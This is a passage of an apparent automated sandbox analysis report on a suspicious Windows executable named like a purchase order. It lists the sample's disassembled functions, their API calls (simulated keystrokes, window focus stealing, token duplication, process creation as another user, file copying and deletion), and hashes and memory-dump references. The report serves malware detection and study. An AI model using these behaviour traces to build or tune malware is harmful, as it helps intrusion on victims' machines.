                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 10892065-0
                                                                                                                                                                      • Opcode ID: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                                                                                      • Instruction ID: 99ddfbee892492b32903703907324a593b21f4d4a70cf9c354be63060b8faba1
                                                                                                                                                                      • Opcode Fuzzy Hash: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
                                                                                                                                                                      • Instruction Fuzzy Hash: 56D05E325543449EDF009F71AC087663FDCE788395F008836BC1CC6150E778C950CA08
                                                                                                                                                                      Function 00444343 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00444326: SetFilePointerEx.KERNEL32(00000000,00000001,00000000,00000000,00000001,?,?,0044434E,?,?,00429A83,?,00487174,00000003,0040DFEE,?), ref: 004442F3
                                                                                                                                                                      • WriteFile.KERNELBASE(?,?,00000001,?,00000000,?,?,00429A83,?,00487174,00000003,0040DFEE,?,?,00000001,00403843), ref: 00444362
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: File$PointerWrite
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 539440098-0
                                                                                                                                                                      • Opcode ID: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                                                                                                      • Instruction ID: 4a339a6eb5dfef6003722c1615037f540bc53d76d7f4c43935d02bdd90bbdfc9
                                                                                                                                                                      • Opcode Fuzzy Hash: 35769b91a3a7bdb08b20991cec1574ff36ffa6c1adc4d20a0c17b9033c9b0ad0
                                                                                                                                                                      • Instruction Fuzzy Hash: 7CE09275104311AFD250DF54D944F9BB3F8AF88714F108D0EF59587241D7B4A9848BA6
                                                                                                                                                                      Function 0040116E Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DefWindowProcW.USER32(?,?,?,?), ref: 00401123
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ProcWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 181713994-0
                                                                                                                                                                      • Opcode ID: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                                                                                                      • Instruction ID: 4c36cba44089d0e03573cc5e8dee84df23505be31ebc2729507753268ee0d302
                                                                                                                                                                      • Opcode Fuzzy Hash: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
                                                                                                                                                                      • Instruction Fuzzy Hash: C3C08C72100008BB8700DE04EC44CFBB72CEBD8310700C20BBC0586201C230885097A1
                                                                                                                                                                      Function 00414E06 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __wfsopen
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 197181222-0
                                                                                                                                                                      • Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                                                                                      • Instruction ID: 6225ca515e7db1e5d7746fb8cf1e0ad45b41b4d1817cc5a1d8a93eb941133566
                                                                                                                                                                      • Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
                                                                                                                                                                      • Instruction Fuzzy Hash: EDC09B7644010C77CF122943FC02E453F1997C0764F044011FB1C1D561D577D5619589
                                                                                                                                                                      Function 0040D900 Relevance: 1.3, APIs: 1, Instructions: 22COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CloseHandle.KERNELBASE(00000000,?,0040DF8E), ref: 0040D91D
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CloseHandle
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2962429428-0
                                                                                                                                                                      • Opcode ID: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                                                                                                      • Instruction ID: 397672216df932ca6c22f29d52987cd2165f63c791f69eb8015935d900cfb6d9
                                                                                                                                                                      • Opcode Fuzzy Hash: b0db0cc9728059d6acb69f925b284233246e7185417bf28957a0aabd78f307cc
                                                                                                                                                                      • Instruction Fuzzy Hash: 16E0DEB5900B019EC7318F6AE544416FBF8AEE46213248E2FD4E6D2A64D3B4A5898F54
                                                                                                                                                                      Function 03EF38C8 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • Sleep.KERNELBASE(000001F4), ref: 03EF38D9
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2141592912.0000000003EF1000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3ef1000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Sleep
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3472027048-0
                                                                                                                                                                      • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                                                                                                      • Instruction ID: 5469b8383c4f3568ce629160c557baa592931024bb8e0e9e593f8c15348810f0
                                                                                                                                                                      • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                                                                                                      • Instruction Fuzzy Hash: FBE0E67494020EDFDB00DFB8D5496DD7BB4EF04301F1002A1FD01D3280DA709D508A62

                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                      Function 0047C08E Relevance: 74.2, APIs: 40, Strings: 2, Instructions: 676windowkeyboardCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C158
                                                                                                                                                                      • DefDlgProcW.USER32(?,0000004E,?,?,004A83D8,?,004A83D8,?), ref: 0047C173
                                                                                                                                                                      • GetKeyState.USER32(00000011), ref: 0047C1A4
                                                                                                                                                                      • GetKeyState.USER32(00000009), ref: 0047C1AD
                                                                                                                                                                      • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C1C0
                                                                                                                                                                      • GetKeyState.USER32(00000010), ref: 0047C1CA
                                                                                                                                                                      • GetWindowLongW.USER32(00000002,000000F0), ref: 0047C1DE
                                                                                                                                                                      • SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C20A
                                                                                                                                                                      • SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C22D
                                                                                                                                                                      • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047C2D6
                                                                                                                                                                      • SendMessageW.USER32 ref: 0047C2FB
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$State$LongProcWindow
                                                                                                                                                                      • String ID: @GUI_DRAGID$F
                                                                                                                                                                      • API String ID: 1562745308-4164748364
                                                                                                                                                                      • Opcode ID: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                                                                                                      • Instruction ID: f40edf6d5039c675f00343e7880f865f139be9e64e9b8d530a61de5f06f6045f
                                                                                                                                                                      • Opcode Fuzzy Hash: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                                                                                                      • Instruction Fuzzy Hash: C6429F702042019FD714CF54C884FAB77A5EB89B04F548A6EFA48AB291DBB4EC45CB5A
                                                                                                                                                                      Function 004045E0 Relevance: 46.9, Strings: 35, Instructions: 3193COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: PF$'|G$*"D$*vG$+%F$0wE$2G$5CG$7eF$<HF$<G$ApG$DvE$GSG$IqE$K@G$LbF$MdF$NgF$PIF$YtG$^[F$_?G$b"D$i}G$j)F$kQG$lE$rTG$vjE$}eE$*F$3G$_G$wG
                                                                                                                                                                      • API String ID: 0-3772701627
                                                                                                                                                                      • Opcode ID: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                                                                                                      • Instruction ID: b1e67458769bbea4a86cd8903524db5b6e79558e2e7ab8c51025fc7bd56032a7
                                                                                                                                                                      • Opcode Fuzzy Hash: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                                                                                                      • Instruction Fuzzy Hash: 118366F1905B409FC351DFAAF984605BAE1F3AA3157A2857FC5088B731D7B8194A8F4C
                                                                                                                                                                      Function 004375B0 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 126threadkeyboardwindowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetForegroundWindow.USER32(00000000,?,?,004448AF,?), ref: 004375B3
                                                                                                                                                                      • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004375D8
                                                                                                                                                                      • IsIconic.USER32(?), ref: 004375E1
                                                                                                                                                                      • ShowWindow.USER32(?,00000009,?,?,004448AF,?), ref: 004375EE
                                                                                                                                                                      • SetForegroundWindow.USER32(?), ref: 004375FD
                                                                                                                                                                      • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00437615
                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 00437619
                                                                                                                                                                      • GetWindowThreadProcessId.USER32(?,00000000), ref: 00437624
                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437632
                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437638
                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 0043763E
                                                                                                                                                                      • SetForegroundWindow.USER32(?), ref: 00437645
                                                                                                                                                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437654
                                                                                                                                                                      • keybd_event.USER32(00000012,00000000), ref: 0043765D
                                                                                                                                                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 0043766B
                                                                                                                                                                      • keybd_event.USER32(00000012,00000000), ref: 00437674
                                                                                                                                                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437682
                                                                                                                                                                      • keybd_event.USER32(00000012,00000000), ref: 0043768B
                                                                                                                                                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437699
                                                                                                                                                                      • keybd_event.USER32(00000012,00000000), ref: 004376A2
                                                                                                                                                                      • SetForegroundWindow.USER32(?), ref: 004376AD
                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376CD
                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D3
                                                                                                                                                                      • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D9
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                                                                                                                      • String ID: Shell_TrayWnd
                                                                                                                                                                      • API String ID: 3778422247-2988720461
                                                                                                                                                                      • Opcode ID: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                                                                                      • Instruction ID: 6108fbe056c1a000d5481f33e03d330ccc862392245923d3170deea12ea07584
                                                                                                                                                                      • Opcode Fuzzy Hash: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                                                                                      • Instruction Fuzzy Hash: AC31A4712803157FE6245BA59D0EF7F3F9CEB48B51F10082EFA02EA1D1DAE458009B79
                                                                                                                                                                      Function 004461ED Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 227processCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 0044621B
                                                                                                                                                                      • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,?,?,?,?,?,?,?), ref: 00446277
                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0044628A
                                                                                                                                                                      • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004462A4
                                                                                                                                                                      • GetProcessWindowStation.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462BD
                                                                                                                                                                      • SetProcessWindowStation.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462C8
                                                                                                                                                                      • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004462E4
                                                                                                                                                                      • _wcslen.LIBCMT ref: 0044639E
                                                                                                                                                                        • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                      • _wcsncpy.LIBCMT ref: 004463C7
                                                                                                                                                                      • LoadUserProfileW.USERENV(?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 004463E7
                                                                                                                                                                      • CreateEnvironmentBlock.USERENV(?,?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 00446408
                                                                                                                                                                      • CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?,?,00000000,?), ref: 00446446
                                                                                                                                                                      • UnloadUserProfile.USERENV(?,?,?,?,?,?,?), ref: 00446483
                                                                                                                                                                      • CloseWindowStation.USER32(00000000,?,?,?,?), ref: 00446497
                                                                                                                                                                      • CloseDesktop.USER32(00000000,?,?,?,?), ref: 0044649E
                                                                                                                                                                      • SetProcessWindowStation.USER32(?,?,?,?,?), ref: 004464A9
                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,?,?), ref: 004464B4
                                                                                                                                                                      • DestroyEnvironmentBlock.USERENV(?,?,?,?,?,?), ref: 004464C8
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: StationWindow$CloseProcess$User$BlockCreateDesktopEnvironmentHandleOpenProfile$DestroyDuplicateLoadTokenUnload_malloc_memset_wcslen_wcsncpy
                                                                                                                                                                      • String ID: $default$winsta0
                                                                                                                                                                      • API String ID: 2173856841-1027155976
                                                                                                                                                                      • Opcode ID: 60466c812311f25fb86c91292e7101a774af41f6c0f7563e11afd4658bd94aff
                                                                                                                                                                      • Instruction ID: eafd5d154f9bcf2590b8f8eb1e0f3d39b01f77f2fd200ee1cb9c7344d9c52646
                                                                                                                                                                      • Opcode Fuzzy Hash: 60466c812311f25fb86c91292e7101a774af41f6c0f7563e11afd4658bd94aff
                                                                                                                                                                      • Instruction Fuzzy Hash: DD819170208341AFE724DF65C848B6FBBE8AF89744F04491DF69097291DBB8D805CB6B
                                                                                                                                                                      Function 0044BD29 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 178filestringCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO 4800040256.exe,?,C:\Users\user\Desktop\PO 4800040256.exe,004A8E80,C:\Users\user\Desktop\PO 4800040256.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                        • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A45
                                                                                                                                                                        • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                                                                                        • Part of subcall function 00436A1D: __wcsicoll.LIBCMT ref: 00436A93
                                                                                                                                                                        • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                      • _wcscat.LIBCMT ref: 0044BD96
                                                                                                                                                                      • _wcscat.LIBCMT ref: 0044BDBF
                                                                                                                                                                      • __wsplitpath.LIBCMT ref: 0044BDEC
                                                                                                                                                                      • FindFirstFileW.KERNEL32(?,?), ref: 0044BE04
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 0044BE73
                                                                                                                                                                      • _wcscat.LIBCMT ref: 0044BE85
                                                                                                                                                                      • _wcscat.LIBCMT ref: 0044BE97
                                                                                                                                                                      • lstrcmpiW.KERNEL32(?,?), ref: 0044BEC3
                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0044BED5
                                                                                                                                                                      • MoveFileW.KERNEL32(?,?), ref: 0044BEF5
                                                                                                                                                                      • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF0C
                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0044BF17
                                                                                                                                                                      • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF2E
                                                                                                                                                                      • FindClose.KERNEL32(00000000), ref: 0044BF35
                                                                                                                                                                      • MoveFileW.KERNEL32(?,?), ref: 0044BF51
                                                                                                                                                                      • FindNextFileW.KERNEL32(00000000,00000010), ref: 0044BF66
                                                                                                                                                                      • FindClose.KERNEL32(00000000), ref: 0044BF7E
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: File$Find_wcscat$__wsplitpath$CloseCopyDeleteMove$AttributesFirstFullNameNextPath__wcsicoll_wcscpylstrcmpi
                                                                                                                                                                      • String ID: \*.*
                                                                                                                                                                      • API String ID: 2188072990-1173974218
                                                                                                                                                                      • Opcode ID: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                                                                                                      • Instruction ID: 14f7055b3521afb04026f42b490306401b0ba37f80ed0ea0ca267746d8cc4687
                                                                                                                                                                      • Opcode Fuzzy Hash: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                                                                                                      • Instruction Fuzzy Hash: CA5166B2008344AAD720DBA4DC44FDF73E8AB85314F448D1EF68982141EB79D64CCBAA
                                                                                                                                                                      Function 00434D50 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 114fileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00434D75
                                                                                                                                                                      • __swprintf.LIBCMT ref: 00434D91
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00434D9B
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00434DB0
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00434DC5
                                                                                                                                                                      • CreateDirectoryW.KERNEL32(?,00000000), ref: 00434DD7
                                                                                                                                                                      • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00434E0A
                                                                                                                                                                      • _memset.LIBCMT ref: 00434E27
                                                                                                                                                                      • _wcslen.LIBCMT ref: 00434E3C
                                                                                                                                                                      • _wcsncpy.LIBCMT ref: 00434E6F
                                                                                                                                                                      • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00434EA9
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00434EB4
                                                                                                                                                                      • RemoveDirectoryW.KERNEL32(?), ref: 00434EBB
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00434ECE
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcslen$CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                                                                                                                      • String ID: :$\$\??\%s
                                                                                                                                                                      • API String ID: 302090198-3457252023
                                                                                                                                                                      • Opcode ID: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                                                                                                                      • Instruction ID: 730b2dca1b6b09bd6b76555d3316dee95f4818bcffb97f26f8f03165767cfd2f
                                                                                                                                                                      • Opcode Fuzzy Hash: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
